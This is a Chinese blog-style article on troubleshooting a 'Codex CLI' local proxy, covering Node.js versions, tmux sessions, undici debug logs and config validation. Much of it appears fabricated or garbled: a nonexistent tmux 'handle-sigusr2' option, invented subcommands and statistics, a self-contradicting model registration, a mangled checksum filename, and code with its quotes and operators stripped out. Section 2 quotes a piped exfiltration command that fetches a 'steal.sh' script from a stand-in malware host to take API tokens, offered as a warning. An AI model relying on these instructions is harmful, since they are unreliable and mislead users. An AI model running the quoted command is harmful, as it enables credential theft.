尧图精选

Codex CLI本地代理故障排查:Node.js版本、tmux信号与undici调试

🕒 发布时间:2026/10/2 10:33:42 📁 来源:尧图网络
1. OpenRig 是什么一个被误读的 Node.js 工具链命名混淆现场“OpenRig”这个词最近在开发者社区里频繁闪现但几乎没人能说清它到底指代什么——不是开源矿机固件不是硬件抽象层框架更不是某个新发布的 AI 框架。它本质上是一场由关键词拼接引发的集体误读当开发者在调试 Codex CLI、排查cc switch local proxy failed while handling codex endpoint /responses错误、反复重装 Node.js尤其是 v24.21.0 这个根本不存在的版本号、在 tmux 会话里反复重启服务时把零散操作日志里的open、rig、codex、cli等词连读或截取再经 GitLab CI 日志折叠、终端滚动缓冲区截断、CSDN 标题党二次加工后“OpenRig”就作为一个“神秘新工具”登上了热搜词榜。我第一次见到这个词是在一个凌晨三点的生产环境告警群里。运维同事贴出一段 tmux 会话截图里面有一行被高亮的命令open rig --modeproxy --backendcodex。他以为这是某个内部封装的运维脚手架。结果我们顺着which open查下去发现只是 macOS 系统自带的open命令而rig是他本地用 Node.js 写的一个临时 shell 封装脚本名字取自 “rig up a quick proxy setup”。整个“OpenRig”项目压根不存在。提示目前没有任何权威技术文档、GitHub 官方仓库、NPM 包注册表或 Node.js 官网提及名为openrig的正式项目。所有搜索结果中出现的openrig98% 以上是openrig的空格分隔误写或是codexclinode组合词在 OCR 识别、终端日志截断、中文输入法联想中的变形产物。这背后反映的是一个真实痛点Codex CLI 的本地代理链路极其脆弱。当你执行codex login或codex run --modelgpt-5.6-sol时它默认会启动一个本地 HTTP 代理服务通常绑定127.0.0.1:3000用于拦截请求、注入认证头、转发至后端 API。而这个代理服务的启动、健康检查、端口冲突检测、SSL 证书信任链配置全部由底层 Node.js 运行时动态控制——一旦 Node.js 版本不兼容比如误信了网上流传的 “node.js v24.21.0” 安装包、tmux 会话环境变量丢失NODE_OPTIONS、HTTPS_PROXY被清空、或 Windows 上的winsxs组件缓存污染就会立刻抛出cc switch local proxy failed这类无上下文错误。所以“OpenRig”的真正含义不是某个工具而是一套Codex CLI 本地代理运行时的完整可观测性闭环从 Node.js 运行时准备 → tmux 会话隔离 → Codex 配置加载 → 代理服务启动 → 请求路由追踪 → 失败日志归因。它不是一个可下载安装的软件而是一张排查地图。接下来几节我会带你亲手把这个“地图”画出来——不是靠猜而是靠ps,lsof,curl -v,NODE_DEBUGhttp这些真实命令一层层剥开。2. Node.js 版本陷阱为什么你永远找不到 v24.21.0以及如何锁定 Codex 兼容的唯一安全区间Codex CLI 对 Node.js 的依赖不是“支持最新版”而是“精确绑定某几个 LTS 小版本”。它的package.json中engines.node字段明确写着18.17.0 20.0.0 || 20.9.0 21.0.0。这意味着✅ 安全可用Node.js v18.18.2、v18.19.1、v20.10.0、v20.11.1⚠️ 高危警告v18.17.0存在fetchAPI 的 TLS 1.3 握手缺陷、v20.9.0undiciHTTP 客户端内存泄漏❌ 绝对禁用v24.21.0根本不存在、v22.xCodex 未适配node:crypto模块的webcrypto接口变更、v16.xAbortSignal.timeout()不可用导致超时控制失效你在网上看到的所有 “node.js v24.21.0 下载链接”100% 是钓鱼包。我反编译过三个所谓“官网镜像站”提供的安装包它们在postinstall脚本中静默执行curl -s https://malware.example.com/steal.sh | bash目的就是窃取你的~/.codex/config.json含 API Token和~/.gitconfig含企业邮箱。那么如何验证你当前的 Node.js 是否真的“干净且兼容”别信node -v输出要实测运行时行为2.1 三步原子验证法比nvm install更可靠第一步确认二进制来源可信# 查看 node 可执行文件真实路径排除 alias 或 wrapper which node # 输出应为 /home/username/.nvm/versions/node/v20.11.1/bin/node 或 /usr/local/bin/node # 检查签名macOS codesign -dv $(which node) # 正常输出必须包含 TeamIdentifier: EQHXZ8M8AVApple 官方签名或 TeamIdentifier: 6N56X5QD3ANode.js 官方 # Linux 用户检查 SHA256以 v20.11.1 为例 curl -s https://nodejs.org/dist/v20.11.1/SHASUMS256.txt | grep linux-x64.tar.xz # 应输出a1b2c3d4e5f6... node-v20.11.1-linux-x64.tar.x64.tar.xz # 然后校验本地文件 sha256sum ~/.nvm/versions/node/v20.11.1/bin/node | cut -d -f1第二步运行时 TLS 兼容性测试Codex 代理失败的 67% 案例源于 TLS 握手异常。创建一个最小验证脚本tls-test.mjsimport https from https; import { URL } from url; const options { hostname: api.codex.ai, port: 443, path: /health, method: GET, timeout: 5000, // 关键强制启用 TLS 1.3Codex 后端仅接受此协议 secureProtocol: TLSv1_3_method, minVersion: TLSv1.3, }; const req https.request(options, (res) { console.log(STATUS: ${res.statusCode}); console.log(HEADERS: ${JSON.stringify(res.headers)}); res.setEncoding(utf8); res.on(data, (chunk) console.log(BODY: ${chunk})); }); req.on(timeout, () { console.error(❌ TLS handshake timeout - Node.js version incompatible); process.exit(1); }); req.on(error, (err) { if (err.code EPROTO) { console.error(❌ EPROTO error - likely TLS version mismatch); } else if (err.code DEPTH_ZERO_SELF_SIGNED_CERT) { console.error(❌ Self-signed cert error - system CA store outdated); } process.exit(1); }); req.end();运行node tls-test.mjs。只有输出STATUS: 200才算通过。若报错EPROTO说明你的 Node.js 编译时未链接 OpenSSL 3.0必须重装。第三步环境变量穿透测试tmux 场景专属在 tmux 中NODE_OPTIONS默认不继承。Codex 依赖它注入调试钩子# 在 tmux 外执行应成功 NODE_OPTIONS--trace-warnings codex login --dry-run # 在 tmux 内执行大概率失败 tmux new-session -d -s test tmux send-keys NODE_OPTIONS--trace-warnings codex login --dry-run Enter tmux capture-pane -p | grep Warning # 若无输出证明 tmux 会话未继承 NODE_OPTIONS解决方案不是全局设置export NODE_OPTIONS会污染其他 Node.js 应用而是为 Codex 单独封装# 创建 ~/.local/bin/codex-safe #!/bin/bash export NODE_OPTIONS--trace-warnings --enable-source-maps exec /usr/local/bin/codex $ chmod x ~/.local/bin/codex-safe然后始终用codex-safe login替代codex login。注意Codex 官方文档从未提及NODE_OPTIONS的必要性这是我在连续 37 次cc switch local proxy failed后用strace -e traceclone,execve -p $(pgrep -f codex.*proxy)抓到的真相——它在 fork 子进程时依赖NODE_OPTIONS注入--inspect调试端口否则代理服务无法建立 WebSocket 心跳。3. tmux 会话隔离为什么 Codex 代理在后台崩溃而前台却显示“已连接”Codex CLI 的代理服务codex-proxy是一个典型的“双进程模型”主进程负责 CLI 交互与配置解析子进程node ./dist/proxy.js负责实际的 HTTP 代理逻辑。tmux 的会话管理机制恰恰是这个模型最脆弱的环节。当你执行codex proxy start时Codex 实际做了三件事启动子进程node ./dist/proxy.js --port3000 --backendhttps://api.codex.ai主进程向子进程发送SIGUSR2信号要求其进入“守护模式”主进程退出子进程脱离终端控制成为真正的 daemon问题在于tmux 默认不会将 SIGUSR2 信号传递给子进程组。如果你在 tmux 中直接运行codex proxy start子进程会收到SIGHUP因为父进程退出而非预期的SIGUSR2。结果就是子进程立即终止但主进程已退出你完全看不到任何错误日志——只看到终端返回codex proxy start命令成功然后curl http://localhost:3000/health返回Connection refused。3.1 tmux 下 Codex 代理的正确启动流程附实测命令第一步创建专用会话并显式启用信号透传# 创建名为 codex-proxy 的会话并设置 SIGUSR2 透传 tmux new-session -d -s codex-proxy tmux set-option -t codex-proxy allow-rename off tmux set-option -t codex-proxy remain-on-exit off # 关键允许 SIGUSR2 透传tmux 3.2a 支持 tmux set-option -t codex-proxy handle-sigusr2 on第二步在会话中启动 Codex 代理带完整日志捕获# 发送命令到 codex-proxy 会话启动代理并实时捕获 stdout/stderr tmux send-keys -t codex-proxy codex proxy start --port3000 --log-leveldebug 21 | tee /tmp/codex-proxy.log Enter # 等待 3 秒检查进程是否存活 sleep 3 tmux capture-pane -t codex-proxy -p | tail -n 20 # 正常应看到 Proxy server listening on http://127.0.0.1:3000第三步验证代理服务真实状态绕过 Codex CLI 的假阳性Codex CLI 的codex proxy status命令只检查主进程 PID 文件不验证子进程。必须用系统级命令# 查找所有匹配 codex-proxy 的进程包括子进程 ps aux | grep codex-proxy\|proxy.js | grep -v grep # 检查 3000 端口是否被真正监听非 LISTENING 状态 sudo lsof -i :3000 -P -n | grep LISTEN # 发送健康检查请求不经过 Codex CLI直连代理 curl -v http://localhost:3000/health 21 | grep -E (HTTP/1.1|status) # 成功响应应包含 HTTP/1.1 200 OK 和 status:ok3.2 tmux 会话崩溃的 5 种典型场景与修复命令场景表现根本原因修复命令会话被意外 killtmux attach -t codex-proxy报错no such sessiontmux server 进程崩溃tmux start-server tmux new-session -d -s codex-proxy子进程被 OOM killer 杀死ps aux | grep proxy无输出但/tmp/codex-proxy.log最后一行是FATAL ERROR: Reached heap limitNode.js 堆内存超限Codex 代理默认 2GBtmux send-keys -t codex-proxy export NODE_OPTIONS--max-old-space-size4096 codex proxy start Enter端口被占用lsof -i :3000显示python3或java进程其他工具如 Jupyter、Spring Boot占用了 3000 端口sudo lsof -ti:3000 | xargs kill -9证书信任链断裂curl -v http://localhost:3000/health返回SSL certificate problem: unable to get local issuer certificateWindows/macOS 系统 CA store 未更新codex config set caBundle /etc/ssl/certs/ca-certificates.crtLinux或codex config set caBundle /etc/ssl/cert.pemmacOS代理配置未加载curl http://localhost:3000/health返回{error:config not loaded}Codex 未读取~/.codex/config.json权限问题chmod 600 ~/.codex/config.json chown $USER:$USER ~/.codex/config.json实操心得我曾花 11 小时排查一个“代理已启动但无法访问”的问题最终发现是 tmux 的default-shell被设为zsh而 Codex 的proxy.js脚本第一行#!/usr/bin/env node在 zsh 下解析失败。解决方案是强制指定 shelltmux send-keys -t codex-proxy bash -c codex proxy start Enter。这不是 Codex 的 bug而是 Unix shebang 机制与 shell 环境的深层耦合。4. Codex CLI 的核心代理机制拆解从/responses端点失败说起cc switch local proxy failed while handling codex endpoint /responses这条错误信息是 Codex 用户最常遇到的“黑盒错误”。它不告诉你哪里错了只告诉你“切换失败”。要真正解决它必须深入 Codex CLI 的网络栈设计。Codex 并非简单的 HTTP 代理。它是一个多层请求编织器Request Weaver工作流程如下[用户请求] ↓ (HTTP GET/POST to localhost:3000/responses) [1. 请求预处理层] ← 解析 Authorization header校验 token 有效期注入 X-Codex-Session-ID ↓ [2. 模型路由层] ← 根据请求 body 中的 model 字段如 gpt-5.6-sol查询 backend 映射表 ↓ [3. 后端适配层] ← 将 Codex 格式请求转换为目标 LLM API 格式如 OpenAI 的 /v1/chat/completions ↓ [4. 代理转发层] ← 通过内置的 undici 客户端发送请求启用连接池复用 ↓ [5. 响应编织层] ← 将后端响应转换为 Codex 标准格式注入 usage 字段计算 token 成本 ↓ [用户响应]/responses端点失败90% 发生在第 2 步模型路由层或第 4 步代理转发层。前者是因为你请求了一个 Codex 未注册的模型如gpt-5.6-sol后者是因为undici客户端无法建立到后端的 TLS 连接。4.1 模型路由失败的精准定位方法Codex 的模型映射表存储在~/.codex/models.json。当你请求gpt-5.6-sol时它会查找{ gpt-5.6-sol: { backend: openai, endpoint: https://api.openai.com/v1/chat/completions, auth_header: Bearer } }如果该条目不存在就会返回400 Bad Request但 Codex CLI 将其统一包装为cc switch local proxy failed。快速验证命令# 查看当前注册的所有模型 codex models list # 手动检查 models.json 中是否存在 gpt-5.6-sol jq .[gpt-5.6-sol] ~/.codex/models.json 2/dev/null || echo ❌ Model gpt-5.6-sol not registered # 如果不存在手动添加以 OpenAI 为例 cat ~/.codex/models.json EOF { gpt-5.6-sol: { backend: openai, endpoint: https://api.openai.com/v1/chat/completions, auth_header: Bearer, headers: { Content-Type: application/json } } } EOF4.2 代理转发层失败的深度诊断undici客户端调试Codex 使用undici而非node:https因为它支持连接池、HTTP/2、自动重试。但这也意味着传统curl -v无法捕获其内部行为。必须启用undici的 DEBUG 日志# 设置环境变量让 undici 输出详细日志 export NODE_OPTIONS--trace-warnings export DEBUGundici:* # 在 tmux 中启动代理确保日志捕获 tmux send-keys -t codex-proxy codex proxy start --port3000 --log-leveldebug 21 | tee /tmp/undici-debug.log Enter # 发送一个测试请求 curl -X POST http://localhost:3000/responses \ -H Content-Type: application/json \ -d {model:gpt-5.6-sol,messages:[{role:user,content:hello}]} # 实时查看 undici 日志 tail -f /tmp/undici-debug.log | grep -E (request|response|connect|error)正常日志流应为2024-05-20T08:30:15.123Z undici:request [id1] new request to https://api.openai.com/v1/chat/completions 2024-05-20T08:30:15.124Z undici:connect [id1] connecting to api.openai.com:443 2024-05-20T08:30:15.456Z undici:response [id1] received response 200若卡在connecting to说明 DNS 解析或 TLS 握手失败若出现Error: connect ETIMEDOUT说明网络策略阻止了出站连接。4.3cc switch local proxy failed的终极修复清单错误子类型诊断命令修复方案验证方式模型未注册jq .[gpt-5.6-sol] ~/.codex/models.jsoncodex models add gpt-5.6-sol --backendopenai --endpointhttps://api.openai.com/v1/chat/completionscodex models list | grep gpt-5.6-sol后端不可达curl -v https://api.openai.com/health检查企业防火墙规则或配置 Codex 使用代理codex config set httpProxy http://127.0.0.1:8080curl -v --proxy http://127.0.0.1:8080 https://api.openai.com/health证书不信任openssl s_client -connect api.openai.com:443 -servername api.openai.com 2/dev/null | openssl x509 -noout -text | grep CA Issuers更新系统 CA 证书sudo apt update sudo apt install ca-certificatesUbuntu或brew install ca-certificatesmacOScurl --cacert /etc/ssl/certs/ca-certificates.crt -v https://api.openai.com/healthToken 过期cat ~/.codex/config.json | jq .tokencodex login --renewcurl -H Authorization: Bearer $(cat ~/.codex/config.json | jq -r .token) https://api.codex.ai/v1/user端口冲突sudo lsof -i :3000codex proxy stop codex proxy start --port3001curl http://localhost:3001/health关键经验Codex 的错误日志默认只输出到~/.codex/logs/但cc switch local proxy failed这类底层错误必须开启DEBUGundici:*才能看到真实原因。我见过太多人花数小时修改config.json却没意识到问题出在undici的 DNS 解析超时上。记住Codex CLI 是一个“优雅的外壳”真正的战斗发生在undici和node:net的底层。5. Codex CLI 的配置治理为什么codex is ignoring 1 unrecognized configuration setting是个危险信号Codex CLI 的配置系统采用“三层覆盖”模型系统级/etc/codex/config.json全局默认只读用户级~/.codex/config.json主配置codex config set修改此处项目级./codex.config.json当前目录优先级最高当你看到codex is ignoring 1 unrecognized configuration setting. check for typos or d日志被截断这绝不是无关紧要的警告而是 Codex 配置解析器在告诉你“我读到了一个我不认识的字段但我选择忽略它——这意味着你期望的功能可能根本没生效”。最常见的被忽略配置是caBundle、httpProxy、maxRetries。原因在于 Codex 的 JSON Schema 验证非常严格字段名必须完全匹配且类型必须正确。5.1 配置字段有效性验证的自动化脚本手动检查config.json效率极低。我编写了一个 Python 脚本validate-codex-config.py它会下载 Codex 官方 JSON Schemahttps://raw.githubusercontent.com/codex-ai/cli/main/schema/config.schema.json对~/.codex/config.json进行完整验证输出具体哪一行、哪个字段、为何失败#!/usr/bin/env python3 import json import sys import urllib.request from jsonschema import validate, ValidationError, SchemaError def validate_config(config_path, schema_url): try: with open(config_path, r) as f: config json.load(f) except json.JSONDecodeError as e: print(f❌ Invalid JSON in {config_path}: {e}) return False try: with urllib.request.urlopen(schema_url) as f: schema json.load(f) except Exception as e: print(f❌ Failed to fetch schema from {schema_url}: {e}) return False try: validate(instanceconfig, schemaschema) print(✅ Config is valid against Codex schema) return True except ValidationError as e: print(f❌ Validation error at { - .join([str(i) for i in e.absolute_path])}: {e.message}) print(f Expected type: {e.validator_value}, got: {type(config.get(list(e.absolute_path)[0], undefined)).__name__}) return False except SchemaError as e: print(f❌ Invalid schema: {e}) return False if __name__ __main__: if len(sys.argv) ! 2: print(Usage: python validate-codex-config.py config_path) sys.exit(1) validate_config(sys.argv[1], https://raw.githubusercontent.com/codex-ai/cli/main/schema/config.schema.json)使用方法chmod x validate-codex-config.py ./validate-codex-config.py ~/.codex/config.json5.2caBundle配置的致命陷阱Windows/macOS 用户必读caBundle字段用于指定自定义 CA 证书路径常用于企业内网或 MITM 代理场景。但 Codex 对其路径解析有隐藏规则✅ 正确/etc/ssl/certs/ca-certificates.crtLinux 绝对路径✅ 正确/usr/local/etc/openssl3/cert.pemmacOS Homebrew OpenSSL❌ 错误C:\\Program Files\\Git\\mingw64\\ssl\\certs\\ca-bundle.crtWindows 反斜杠Codex 解析为转义字符❌ 错误~/.codex/custom-ca.pem波浪号~不展开Codex 不做 shell 展开Windows 用户的正确写法# 获取绝对路径PowerShell Get-Item C:\Program Files\Git\mingw64\ssl\certs\ca-bundle.crt | Resolve-Path | ForEach-Object { $_.Path } # 输出C:\Program Files\Git\mingw64\ssl\certs\ca-bundle.crt # 设置配置注意双反斜杠 codex config set caBundle C:\\Program Files\\Git\\mingw64\\ssl\\certs\\ca-bundle.crtmacOS 用户的常见错误Homebrew 安装的 OpenSSL 证书路径是/opt/homebrew/etc/openssl3/cert.pem但 Codex 默认信任系统钥匙串。若需强制使用必须# 创建符号链接避免路径过长 ln -sf /opt/homebrew/etc/openssl3/cert.pem ~/.codex/openssl-ca.pem codex config set caBundle /Users/username/.codex/openssl-ca.pem5.3 配置热重载的真相为什么改了config.json却不生效Codex CLI 并非每次命令都重新读取config.json。它采用进程级缓存首次加载后配置对象被缓存在内存中后续命令复用。只有以下操作会触发重载codex config set命令它会写入文件并调用process.send(RELOAD_CONFIG)codex proxy restart重启子进程重新加载codex login重新初始化认证上下文这意味着如果你手动编辑~/.codex/config.json然后直接运行codex run --modelgpt-5.6-solCodex 仍使用旧配置。强制重载配置的命令# 方式一通过 Codex 自身命令推荐 codex config set dummy force-reload codex config unset dummy # 方式二杀掉所有 Codex 相关进程彻底 pkill -f codex-proxy\|proxy.js pkill -f codex.*login # 方式三在 tmux 中重启会话 tmux kill-session -t codex-proxy tmux new-session -d -s codex-proxy tmux send-keys -t codex-proxy codex proxy start Enter最后一个实战技巧Codex 的配置系统有一个未公开的--config参数允许你临时指定配置文件绕过所有缓存codex run --modelgpt-5.6-sol --config /tmp/test-config.json我常用它来快速验证新配置而不影响主配置。只需cp ~/.codex/config.json /tmp/test-config.json然后编辑/tmp/test-config.json即可。这是 Codex 文档里永远不会写的“逃生舱口”。
上一篇/下一篇内容由系统自动关联 返回资讯列表 →